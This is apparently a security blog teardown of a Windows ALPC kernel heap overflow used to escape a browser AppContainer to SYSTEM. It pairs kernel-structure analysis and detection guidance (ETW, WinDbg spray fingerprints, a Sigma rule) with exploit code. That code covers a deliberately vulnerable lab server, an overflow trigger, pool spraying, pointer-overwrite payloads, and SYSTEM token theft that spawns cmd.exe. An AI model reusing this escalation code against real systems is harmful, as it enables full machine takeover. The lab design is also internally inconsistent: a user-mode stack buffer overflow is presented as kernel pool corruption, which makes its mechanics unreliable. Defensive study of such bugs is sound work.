CVE-2026-85880 Anatomy: Heap Buffer Overflow in Windows ALPC, AppContainer Sandbox Escape to SYSTEM Without User Interaction

A renderer process pinned inside an AppContainer is supposed to be the safest place code can run on Windows short of a null token. No file system, no clipboard, no network beyond the broker, no handles it wasn’t handed. And yet on September 1, 2026, two Chinese state-aligned crews were walking straight out of exactly that box, chaining a Chrome V8 bug into a WebAssembly escape and landing the final blow on a Windows kernel flaw in the one subsystem nobody puts on the sandbox denylist: ALPC. This is the teardown of that final link, CVE-2026-85880.


What ALPC actually is, and why attackers keep coming back to it

Advanced Local Procedure Call is the undocumented message-passing bus that holds Windows together. When a browser renderer asks its broker to open a file, when the RPC runtime does a local call (LRPC), when WNF publishes a state change, when csrss.exe, lsass.exe, and the DWM talk to each other, the bytes ride ALPC underneath. It replaced the old NT LPC and it is everywhere.

The shape is simple. A server calls NtAlpcCreatePort to publish a named connection port in the object namespace (usually under \RPC Control). A client calls NtAlpcConnectPort. The server accepts with NtAlpcAcceptConnectPort, which spins up a pair of communication ports (one server-side, one client-side). From then on both ends push messages with a single unified syscall, NtAlpcSendWaitReceivePort. Messages come in two flavors: inline payloads up to 64 KB (AlpcMaxAllowedMessageLength returns exactly 0x10000), and section-backed transfers for anything larger, using shared views set up via NtAlpcCreatePortSection and NtAlpcCreateView.

Here is the part that matters for offense. ALPC is a trust-boundary crossing by design. A sandboxed, Untrusted-integrity, AppContainer-confined renderer still has to talk to more privileged brokers, and the NtAlpc* stubs in ntdll.dll are reachable from inside that sandbox. There is no capability gate. The kernel-side message handling runs at ring 0. So any parsing bug in that path is a candidate for a full sandbox-to-SYSTEM escape. That is not theoretical: the 2018 SandboxEscaper ALPC/Task Scheduler LPE and CVE-2023-21688 both live in exactly this neighborhood. CVE-2026-85880 is the newest tenant.


The vulnerability at a glance

AttributeValue
CVECVE-2026-85880
CWECWE-122 (Heap-Based Buffer Overflow) + CWE-908 (Use of Uninitialized Resource)
CVSS v3.17.8 HIGH, AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Published2026-09-08 (September Patch Tuesday)
CISA KEVListed
Exploited in the wildConfirmed by Microsoft, Volexity, and Proofpoint
Privilege requiredLow-privilege local / AppContainer code execution
User interactionNone

Read that CVSS vector like an attacker. AV:L (local), PR:L (low privileges), UI:N (no user interaction), S:U (scope unchanged). A 7.8 undersells it, because “scope unchanged” is doing a lot of hiding: the practical outcome is a jump from Untrusted integrity in an AppContainer to NT AUTHORITY\SYSTEM. When a bug is chained behind a remote browser exploit, the “local” attack vector is free.

Affected builds run the gamut: Windows 10 1607, 1809, 21H2, and 22H2, plus Windows Server 2012 through 2022 including Server Core. The fixed builds tell you where to point your diffing tools:

OSFixed build
Win 10 160710.0.14393.9512
Win 10 180910.0.17763.9245
Win 10 21H2 / 22H210.0.19044.7725 / 10.0.19045.7725
Server 202210.0.20348.5622

The kernel objects you have to know cold

You cannot exploit or defend this bug without a mental model of the three structures the corruption touches. All of these live in kernel pool. Confirm every offset against your own target with dt nt!_ALPC_PORT in WinDbg, because they drift between builds.

_ALPC_PORT

This is the executive object backing every port, allocated from NonPagedPool. The interesting fields for exploitation:

struct _ALPC_PORT {
  /*0x0000*/ LIST_ENTRY                 PortListEntry;
  /*0x0010*/ _ALPC_COMMUNICATION_INFO  *CommunicationInfo;  // kernel ptr write target
  /*0x0018*/ _EPROCESS                 *OwnerProcess;        // redirect ownership checks
  /*0x0020*/ void                      *CompletionPort;
  /*0x0038*/ void                      *PortContext;
  /*0x0090*/ LIST_ENTRY                 MainQueue;           // LIST_ENTRY unlink target
  /*0x00b8*/ LIST_ENTRY                 PendingQueue;
  /*0x00d0*/ LIST_ENTRY                 DirectQueue;
  /*0x0100*/ _ALPC_PORT_ATTRIBUTES      PortAttributes;      // MaxMessageLength lives here
  /*0x0168*/ _ALPC_COMPLETION_LIST     *CompletionList;
};

Three of these are gold. CommunicationInfo at +0x10 points to a structure that embeds ConnectionPort, ServerCommunicationPort, ClientCommunicationPort, and a CloseMessage pointer, so overwriting it gives you a controlled kernel pointer to chase. OwnerProcess at +0x18 feeds privilege and ownership checks; point it at the SYSTEM _EPROCESS and downstream logic starts making decisions in your favor. And the LIST_ENTRY queue heads (MainQueue, PendingQueue, DirectQueue) are textbook pool-unlink primitives: corrupt a Flink/Blink pair and the next unlink does a *(Blink) = Flink; *(Flink+8) = Blink write for you.

_KALPC_MESSAGE

Every in-flight message gets one of these, pool-allocated per message. It is roughly 0x118 bytes on x64.

struct _KALPC_MESSAGE {          // ~0x0118 bytes, x64
  LIST_ENTRY  Entry;             // +0x0000  queue linkage (flink/blink)
  _ALPC_PORT *PortQueue;         // +0x0010  port this message is queued on
  _ALPC_PORT *OwnerPort;         // +0x0018  originating port
  _ETHREAD   *WaitingThread;     // +0x0020  thread blocked awaiting reply
  ULONG32     Flags;             // +0x0028  QueueType, Canceled, Ready, ...
  // PORT_MESSAGE header follows: TotalLength, DataLength, ClientId, MessageId
};

WaitingThread at +0x20 is the one to circle. It is the pointer to the thread parked on a reply, and it is mirrored by _ETHREAD.AlpcMessageId (around +0x578 on 22H2) so the two back-reference each other. When a message is cancelled via AlpcpCancelMessage or completed, the kernel dereferences WaitingThread. Control that pointer and you control what the kernel touches at completion time.

_ALPC_COMMUNICATION_INFO

struct _ALPC_COMMUNICATION_INFO {
  /*0x0000*/ _ALPC_PORT        *ConnectionPort;
  /*0x0008*/ _ALPC_PORT        *ServerCommunicationPort;
  /*0x0010*/ _ALPC_PORT        *ClientCommunicationPort;
  /*0x0018*/ LIST_ENTRY         CommunicationList;
  /*0x0028*/ _ALPC_HANDLE_TABLE HandleTable;
  /*0x0040*/ _KALPC_MESSAGE    *CloseMessage;
};

One structural detail that saves you a lot of debugging: the reference-count blob for all ALPC objects sits at offset -0x30 relative to the object pointer. If your spray corrupts a refcount instead of a field you meant to hit, that is where the crash will trace back to.


Hierarchy diagram of Windows kernel ALPC structures showing _ALPC_PORT connected to _ALPC_COMMUNICATION_INFO, _KALPC_MESSAGE, _ETHREAD, and _EPROCESS with key exploit-relevant field offsets labelled
The three kernel objects at the heart of the exploit – corrupting WaitingThread, OwnerProcess, or a LIST_ENTRY in _ALPC_PORT cascades control across the entire structure graph.

Root cause: a length check that trusts the sender

Strip away the ceremony and CVE-2026-85880 is a classic boundary error. Somewhere on the inbound message path, ALPC allocates a fixed-size buffer on the kernel heap and then copies attacker-supplied message data into it without properly validating that the declared data length fits. CWE-122 is the overflow itself; CWE-908 is the companion problem, uninitialized message state or pointers left in a bad condition after the failed validation.

The call chain to keep in front of you is NtAlpcSendWaitReceivePort in ntdll transitioning into nt!AlpcpSendMessage, which calls nt!AlpcpValidateMessage before the copy, with the message object itself carved out by nt!AlpcpAllocateMessage (which picks NonPagedPool or PagedPool by size). The missing or insufficient bound is in the validate-then-copy region. Microsoft’s advisory does not name the exact sub-function, and I am not going to pretend I diffed the patched binary for you. If you want the precise changed basic block, that is the reader exercise at the end: BinDiff ntoskrnl.exe 10.0.19045.7724 against 10.0.19045.7725. Based on prior ALPC research the smart money is on AlpcpValidateMessage or the copy immediately downstream of it, but verify, do not trust.

The PORT_MESSAGE header carries TotalLength and DataLength. When the kernel honors a DataLength larger than the destination buffer, you get a linear out-of-bounds write into the pool. Everything past that point is grooming.


Why an AppContainer can even touch this

This is the detail that turns a mid-tier kernel overflow into a browser-exploit crown jewel. The AppContainer sandbox works by capability tokens and a syscall/attack-surface reduction model, but the NtAlpc* family is not filtered. An Untrusted-integrity, AppContainer-confined process can call NtAlpcConnectPort and NtAlpcSendWaitReceivePort through ntdll directly. No capability SID, no special handle, no broker mediation required to reach the vulnerable parsing code in the kernel.

That is precisely why UTA0560 and JungleBamboo (APT31 / Violet Typhoon / TA412) built their September 2026 chains around it, and why the BlueMoon exploit kit Proofpoint tracked (adopted by four espionage crews starting August 28, 2026) slots this bug in as the kernel LPE stage. The chain reads: CVE-2026-85046 (V8 type confusion) for read/write inside the V8 sandbox, then CVE-2026-87491 (a WebAssembly defect) to escape V8, then CVE-2026-85880 to break out of the renderer and grab SeDebugPrivilege. BlueMoon does it with three reflectively loaded DLLs, p1 for recon, p2 for the kernel LPE, and pp for the process-injection launcher. No file touches disk, no user clicks anything.


Flowchart showing the full BlueMoon exploit chain from Chrome V8 type confusion through WebAssembly escape to ALPC heap overflow and finally SYSTEM token theft
The three-CVE chain: a browser drive-by lands in V8, escapes the V8 sandbox via WebAssembly, then uses ALPC to punch out of the AppContainer and steal SYSTEM.

Kernel heap reality: Segment Heap changes the game

If your exploitation instincts were formed on the legacy pool lookaside model, throw half of them out. Windows 10 21H2 and later use the kernel Segment Heap for NonPagedPool. Allocations now flow through three sub-allocators: the Variable-Size (VS) allocator, the Low-Fragmentation Heap (LFH) for common small sizes, and a large-chunk path. A _KALPC_MESSAGE at ~0x118 bytes and small port allocations will typically be serviced by the LFH bucket for that size class.

What this means practically:

  • Determinism comes from the LFH bucket, not from a global slab. You groom within the size class of your victim object.
  • Chunk headers are HEAP_VS_CHUNK_HEADER-shaped (16 bytes) rather than the old POOL_HEADER. Your overflow distance calculation has to account for the right header for the sub-allocator that serviced the allocation.
  • LFH randomizes allocation order within a bucket, so you spray heavily, punch holes, and rely on the bucket refilling into your freed slots rather than assuming linear adjacency.

The ALPC pool tags to hunt for are AlMs for small messages on the NonPagedPoolNx lookaside and AlMl for large-message allocations. Confirm both with !pooltag AlMs on your target build before you trust them; tags occasionally change.


Conceptual illustration of Windows Segment Heap LFH bucket spray and hole-punching technique showing alternating filled and freed allocation slots with an overflow bursting into an adjacent object
Segment Heap’s LFH bucket randomises allocation order, so reliable exploitation demands heavy spraying, deliberate hole-punching, and refill confirmation before triggering the overflow.

Building a safe lab

Do this on an isolated VM with no network adapter, snapshotted before every stage. Never on anything that matters.

ItemSpec
VM OSWindows 10 22H2 build 10.0.19045.7724 (the build before the patch, confirm with winver)
Lab serverA purpose-written alpc_vuln_server.exe that omits a length check before a memcpy into a fixed buffer
Attackeralpc_exploit_client.exe launched under an AppContainer profile via CreateAppContainerProfile + CreateProcess
DebuggerWinDbg Preview over KDNET to a second VM, or local KD with bcdedit /debug on

A hard line worth stating plainly: the lab server reproduces the class of bug (an unchecked length into a fixed pool-sized buffer), not the exact patched code path. That distinction is deliberate. You learn the primitive and the grooming without me handing anyone a drop-in weapon for the specific ntoskrnl path. The mechanics are identical; the target is a decoy you control.

Here is the deliberately broken server, trimmed to the vulnerable core:

// alpc_vuln_server.c  -- LAB TARGET ONLY. Missing length validation by design.
// cl /Z7 alpc_vuln_server.c ntdll.lib

#include <windows.h>
#include "ntalpc.h"   // hand-written NtAlpc* declarations

#define PORT_NAME    L"\\RPC Control\\VulnAlpcLab"
#define SMALL_BUF_SZ 0x100          // fixed-size victim allocation

void ServerHandleMessage(PPORT_MESSAGE incoming, void *incomingData) {
    BYTE msgBuf[SMALL_BUF_SZ];      // fixed buffer

    // BUG: honors sender-declared DataLength with no bound check.
    ULONG len = incoming->u1.s1.DataLength;
    memcpy(msgBuf, incomingData, len);   // overflow when len > SMALL_BUF_SZ
    // ... process msgBuf ...
}

Driving the overflow to kernel pointer control

Step 1: crash first, understand second

Send a message whose DataLength blows past the buffer and watch the fault in the kernel debugger.

// alpc_exploit_client.c -- Stage 1: trigger and observe
PORT_MESSAGE *msg = VirtualAlloc(NULL, 0x10000, MEM_COMMIT, PAGE_READWRITE);
msg->u1.s1.TotalLength = 0x10000;
msg->u1.s1.DataLength  = 0x2000;   // >> SMALL_BUF_SZ
memset((BYTE*)msg + sizeof(PORT_MESSAGE), 0x41,
       0x2000 - sizeof(PORT_MESSAGE));

NtAlpcSendWaitReceivePort(hPort, 0, msg, NULL, NULL, NULL, NULL, NULL);

In WinDbg you want a KERNEL_SECURITY_CHECK_FAILURE or POOL_CORRUPTION_IN_FILE_AREA, then !analyze -v, then !pool <faulting address> to confirm you are landing in the ALPC pool region. A pile of 0x41 bytes stomping a pool chunk header is the tell that you own the write.

Step 2: groom the pool

The goal is to place a controlled _KALPC_MESSAGE (or _KALPC_VIEW) immediately behind the victim buffer, so the linear overflow lands in a structure you understand.

// Spray objects into the target LFH bucket, then punch holes.
for (int i = 0; i < SPRAY_COUNT; i++) {
    NtAlpcCreatePortSection(hPort, 0, NULL, 0x1000, &hSection[i], &actualSz);
    NtAlpcCreateView(hPort, 0, &hView[i], &viewAttr[i]);
}
// Free every other object so the victim allocation refills a known-size hole.
for (int i = 0; i < SPRAY_COUNT; i += 2)
    NtAlpcDeleteSection(hPort, 0, hSection[i]);

Walk the layout with !pool <address> 1 before and after the spray. You are looking to confirm the spray objects bracket the hole your victim allocation will fall into, with the right pool tags on either side.

Step 3: measure the distance, then write

Compute the exact overflow offset live. On Segment Heap with a HEAP_VS_CHUNK_HEADER (16 bytes) and a 0x100 victim buffer, the distance to the adjacent object’s Entry.Flink lands around 0x110, but you calculate it, you do not assume it:

dt nt!_KALPC_MESSAGE <spray_object_address>
? <adjacent_object_address> - <victim_buffer_address>

Then shape the payload so the overflow tail overwrites the fields you care about:

// x64, little-endian. Offsets are illustrative; verify against your lab build.
BYTE payload[0x200] = {0};
memset(payload, 0x41, 0x100);                        // fill victim buffer
*(ULONG64*)(payload + 0x110) = fakeListEntry_flink;  // LIST_ENTRY.Flink
*(ULONG64*)(payload + 0x118) = fakeListEntry_blink;  // LIST_ENTRY.Blink
*(ULONG64*)(payload + 0x120) = target_alpc_port;     // PortQueue
*(ULONG64*)(payload + 0x130) = target_ethread;       // WaitingThread

From linear write to arbitrary read/write

A single controlled linear overflow is not the win. It is the seed. You convert it into a stable arbitrary read and write, and there are two clean routes depending on how reliable your view manipulation is.

Route A, view-based read. Corrupt a neighboring _KALPC_VIEW.ViewBase so it points at the kernel address you want to read, then trigger the view mapping to pull that data into your user-mode mapping. Because ALPC section views legitimately bridge kernel and user memory, this gives you a repeatable arbitrary kernel read without any ring-0 shellcode.

Route B, PreviousMode write. Corrupt _KALPC_MESSAGE.WaitingThread to point at a target _ETHREAD, then arrange for a write to that thread’s PreviousMode byte, flipping it to 0 (KernelMode). Once a thread’s PreviousMode is KernelMode, NtWriteVirtualMemory and NtReadVirtualMemory issued from that thread stop enforcing the user/kernel boundary. Suddenly you have a full arbitrary read/write built entirely out of documented syscalls.

If both feel fragile, there is a blunter option: overwrite _ALPC_PORT.OwnerProcess to redirect ownership checks at the SYSTEM process, which shortens the path to token theft considerably. Pick the primitive your grooming supports most reliably. Reliability beats elegance in a chain that ships behind a browser exploit.


Stealing the SYSTEM token

With arbitrary read/write in hand, the last step is the oldest trick in Windows kernel exploitation. Walk _EPROCESS.ActiveProcessLinks to find the SYSTEM process (PID 4), read its Token pointer, and write that token pointer into your own process’s _EPROCESS.

// TOKEN_OFFSET in _EPROCESS on Win 10 22H2 is ~0x4b8.
// Confirm with `dt nt!_EPROCESS` on your exact build; it shifts.
ULONG64 systemEprocess = FindProcessByPid(4);
ULONG64 systemToken    = ReadKernel64(systemEprocess + TOKEN_OFFSET);
ULONG64 ourEprocess    = FindProcessByPid(GetCurrentProcessId());
WriteKernel64(ourEprocess + TOKEN_OFFSET, systemToken);

STARTUPINFOW si = { .cb = sizeof(si) };
PROCESS_INFORMATION pi;
CreateProcessW(L"C:\\Windows\\System32\\cmd.exe", NULL, NULL, NULL,
               FALSE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi);
// cmd.exe now runs as NT AUTHORITY\SYSTEM.

One caveat that trips people up: the reference-count bits packed alongside the token pointer mean you sometimes want to mask the low bits when copying, or you inflate the SYSTEM token’s refcount and destabilize the box. For a lab-and-exit exploit that rarely matters; for anything you want to survive, handle it.


Detection and defense: telling exploitation apart from normal ALPC noise

The uncomfortable truth is that ALPC traffic is deafening on a healthy Windows box. Millions of legitimate messages flow every hour. So detection has to key on the anomalies exploitation produces, not on ALPC use itself.

ETW and telemetry that actually helps

SourceWhat to watch
Microsoft-Windows-Kernel-Memory ETWBursts of NonPagedPoolNx allocations in a single LFH size class from one low-integrity process (the spray)
Microsoft-Windows-Kernel-ProcessA renderer/AppContainer process spawning cmd.exe or powershell.exe as SYSTEM (the payoff), and integrity-level transitions
Sysmon Event ID 1 (process create)AppContainer or Untrusted-IL parent producing a SYSTEM-integrity child. This is the single highest-signal event in the whole chain.
Sysmon Event ID 8 (CreateRemoteThread) / 10 (ProcessAccess)Cross-process access requesting PROCESS_ALL_ACCESS or SeDebugPrivilege right after a browser child process
Sysmon Event ID 25Process tampering / image hollowing consistent with BlueMoon’s pp injection launcher
Windows Defender Exploit GuardKernel pool integrity and CFG violation events preceding a crash

WinDbg pool-spray signatures

If you can get a memory image or live KD on a suspect host, the spray leaves fingerprints. A dense, uniform run of AlMs/AlMl-tagged allocations of identical size, owned by a single low-privilege process, with regular free holes between them, does not happen during normal IPC. Walk it:

!poolused 2 AlMs        ; total AlMs consumption, flag abnormal spikes
!pool <addr> 1          ; look for a regular alloc/free/alloc/free comb pattern
!alpc /p <port>         ; inspect a suspicious port's queues for corrupt LIST_ENTRYs
dt nt!_KALPC_MESSAGE <addr>  ; WaitingThread pointing outside valid _ETHREAD range = corruption

A WaitingThread value that does not resolve to a live _ETHREAD, or a LIST_ENTRY whose Flink->Blink does not point back at itself, is corruption, not benign traffic.

WFP and behavioral framing

Windows Filtering Platform will not see local ALPC, but it does see the front of the kill chain. The browser exploit stage has to fetch its payload; egress anomalies from a renderer process (an unexpected outbound connection immediately before a local privilege jump) tie the network and endpoint stories together. Treat “browser child process made a suspicious connection, then a SYSTEM process appeared under it” as one correlated incident, not two.

A Sigma-style hunt

title: AppContainer/Sandboxed Process Escalates to SYSTEM
logsource:
  product: windows
  category: process_creation
detection:
  parent_integrity:
    ParentIntegrityLevel:
      - 'AppContainer'
      - 'Untrusted'
      - 'Low'
  child_system:
    IntegrityLevel: 'System'
  suspicious_child:
    Image|endswith:
      - '\cmd.exe'
      - '\powershell.exe'
      - '\rundll32.exe'
  condition: parent_integrity and child_system and suspicious_child
level: critical

Hardening

Patch is the real answer: builds 10.0.19045.7725 and its siblings fix the length check. Everything else is compensating control. Kernel pool integrity and CFG/CET where the build supports it raise the cost of the pointer-control step. Least privilege on service ALPC ports (deny anonymous/low-IL connects where the design allows it) shrinks reachable surface. And browser process isolation with strict site isolation keeps the front of the chain from ever reaching the kernel stage in the first place.


Symbolic illustration of a detection system watching process trees, highlighting a sandboxed low-integrity parent spawning a SYSTEM-integrity child process as a critical anomaly
The highest-signal detection event in the entire chain is a single atomic moment: an AppContainer or Untrusted-IL parent process producing a SYSTEM-integrity child.

MITRE ATT&CK mapping

TacticTechniqueWhere it appears in the chain
Initial AccessT1189 Drive-by CompromiseThe Chrome V8 (CVE-2026-85046) entry point
ExecutionT1203 Exploitation for Client ExecutionV8 type confusion to code exec in the renderer
Privilege EscalationT1068 Exploitation for Privilege EscalationCVE-2026-85880, AppContainer to SYSTEM
Defense EvasionT1055 Process InjectionBlueMoon’s pp reflective injection launcher
Defense EvasionT1211 Exploitation for Defense EvasionSandbox/isolation escape via kernel corruption
DiscoveryT1057 Process Discoveryp1 recon module enumerating targets
Credential AccessT1134 Access Token ManipulationSYSTEM token theft via _EPROCESS walk

The through-line to internalize is that CVE-2026-85880 is a T1068 link that only becomes catastrophic because it sits behind T1203 and enables T1134. Defenders who treat it as an isolated kernel bug will miss it. Defenders who instrument the transition (sandboxed parent, SYSTEM child) will catch it regardless of the exact primitive.


Patch diff, your homework

The one thing this brief deliberately does not hand you is the exact changed basic block, and neither will I. If you want it, earn it: pull ntoskrnl.exe from 10.0.19045.7724 and 10.0.19045.7725, load both into Ghidra or BinDiff, and focus on the AlpcpSendMessage to AlpcpValidateMessage neighborhood and the message-copy path just downstream. You are looking for a newly added bound comparison or a corrected size argument to the copy. When you find it, you will understand this bug better than any writeup can teach you, and you will understand why “trust the sender’s declared length” is a decision that keeps costing Microsoft CVEs a decade after it should have stopped.


Key takeaways

  • ALPC is a permanent high-value target because it crosses trust boundaries and the NtAlpc* syscalls are reachable from inside AppContainer sandboxes with no capability gate.
  • CVE-2026-85880 is a textbook CWE-122: a sender-controlled DataLength copied into a fixed kernel pool buffer with an insufficient bound, giving a linear out-of-bounds write.
  • The write becomes power by grooming the Segment Heap LFH bucket so a _KALPC_MESSAGE or _KALPC_VIEW sits behind the victim, then corrupting WaitingThread, ViewBase, or a LIST_ENTRY into an arbitrary read/write.
  • The finale is the oldest move in the book: walk _EPROCESS, steal PID 4’s token, spawn SYSTEM. Modern mitigations raise the cost of the middle step, not the last one.
  • Detection lives in the transition, a sandboxed or Untrusted-IL parent producing a SYSTEM child, plus pool-spray fingerprints (AlMs/AlMl combs, corrupt LIST_ENTRYs, out-of-range WaitingThread). ALPC volume alone is worthless as a signal; the anomaly is not.
  • Patch to 10.0.19045.7725 and siblings. It was exploited in the wild by APT31/Violet Typhoon and the BlueMoon kit before anyone had a signature. Compensating controls buy time; the fixed length check ends the bug.

Related Tutorials

References